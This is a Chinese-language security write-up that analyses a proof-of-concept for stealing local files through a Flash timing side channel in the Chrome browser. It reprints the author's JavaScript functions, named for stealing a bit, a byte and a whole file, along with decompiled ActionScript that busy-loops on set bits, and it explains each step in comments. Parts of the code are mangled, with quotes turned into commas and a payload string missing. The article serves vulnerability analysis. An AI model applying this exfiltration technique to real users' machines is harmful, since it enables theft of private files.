Flash文件在设计的时候就允许本地的swf文件读取任意的本地文件。Flash Player版本不高于7时,本地SWF文件可与其它SWF文件交互并且可以从任何远程或本地位置加载数据。
原理
在Flash Player 8 和更高版本中,SWF 文件不能连接本地文件系统和 Internet。 但是通过时间旁路通道(timing side-channel),却可以实现提取任意本地文件的内容并传送到网络上(详细说明,可参见[1],[2])。
Google浏览器会阻止(应该是有提示吧)下载“.swf”后缀的文件,来降低对本地文件系统规则的攻击,但是却没有阻止swf文件以不同的文件后缀嵌入进去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。当多个swf文件运行在同一个浏览器,但在不同的frame下,或者不同的tab下时,一次只有一个swf文件可以运行ActionScript脚本。
这也就意味着,本地的swf文件可以通过耗时的操作(如直接循环一个时间段等),使加载的网络上的swf文件的外部接口调用(ExternalInterface call)出现延迟。这样根据读取的本地文件的信息(如读取一个字节时,bit位为1出现延迟,bit位为0,不设置延迟),决定是否出现相应的延迟,网络上的swf文件检测这一延迟,即可获取到读取的文件信息。
本地html文件显然不能直接和网络上的swf文件进行交互,但是本地的html文件可以通过frame加载网络上的swf文件。
POC分析
原作者提供的poc分析 ([4],[5]),打开后发现乱码,winhex一看,果断嵌入了swf文件(提供的poc代码中没有这个swf文件,如图1),偏移0xd65后的内容为html文件的内容:
0xD65后的内容极为html文件的内容。
看了下作者html中的js代码:
/* check the response time of flash */
function ping(cb) {
var l;
window.addEventListener(,message,, l = function(e) {
window.removeEventListener(,message,, l);
//console.log(,got delay ,+e.data.delay)
cb(e.data.delay);
});
document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);
}
/* steal one bit */
function getbit(path, char, mask, cb) {
path = encodeURIComponent(path);
document.getElementById(,div,).innerHTML =
,,;//这个地方应该就是[3]提及的那个bug,src换位本地的地址后,poc没能成功读取本地文件内容//作者将本地的swf文件和html文件合并在一起了,path为文件路径
setTimeout(function() {
ping(function(res) {
setTimeout(function() {
cb(res > 100);//根据延迟得到bit位的值
}, 500);
});
}, 200);
}
/* steal one byte */
function getbyte(path, char, cb) {
var byte = 0;
var mask = 1;
function getbyte_() {
//console.log(,getbyte_ mask=,+mask)
getbit(path, char, mask, function(is_set) {//根据mask的那一bit为1,决定读取char中的某一bit位
//console.log(,mask=,+mask+, set=,+is_set);
if (is_set) byte |= mask;if (mask == 0x80) return cb(String.fromCharCode(byte));
mask <<= 1;
getbyte_();
});
/* steal an entire file */function run() {
var path = document.getElementById(,path,).value;
console.log(,path=,+path)
var i = 0;
var text = ,,;
function run_() {//其实这里应该有个判断文件长度的,当然应该由swf文件把文件长度信息返回回来
getbyte(path, i, function(char) {
console.log(,got char: ,+char)
text += char;
i++;
document.getElementById(,out,).innerText = text;
run_();
});
}
run_();}
从作者给的html文件中提前swf后反编译,反编译后在swf脚本下有class_writer这一项:
里面的主要两个函数的代码:
public static function completeHandler(arg1:flash.events.Event):void
{
var loc1:*=0;
if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0)
{//该bit位为1则循环,因此会出现延迟
loc1 = flash.utils.getTimer() + 400;
do
{
}
while (flash.utils.getTimer() < loc1);
}
return;
}
public static function main():void
{
Writer.timer = new haxe.Timer(1);
Writer.timer.run = function ():void
{
var loc1:*;
var loc2:*=null;
var loc3:*=undefined as null;
var loc4:*=undefined as null;
if (flash.Lib.current.stage != null)
{
false;
}
if (false)
{
Writer.timer.stop();
loc2 = flash.Lib.current.loaderInfo.parameters;
Writer.path = loc2.path;//文件路径
Writer.char = Std.parseInt(loc2.char);//获取哪一字节的数据
Writer.mask = Std.parseInt(loc2.mask);//与之按位与,可确定获取的bit位的值
loc3 = new flash.net.URLRequest(Writer.path);
Writer.loader = new flash.net.URLLoader();
Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);
}
return;
}
return;
}
Frame中嵌入的html文件的js代码:
作者poc google浏览器下运行效果:
(责任编辑:安博涛)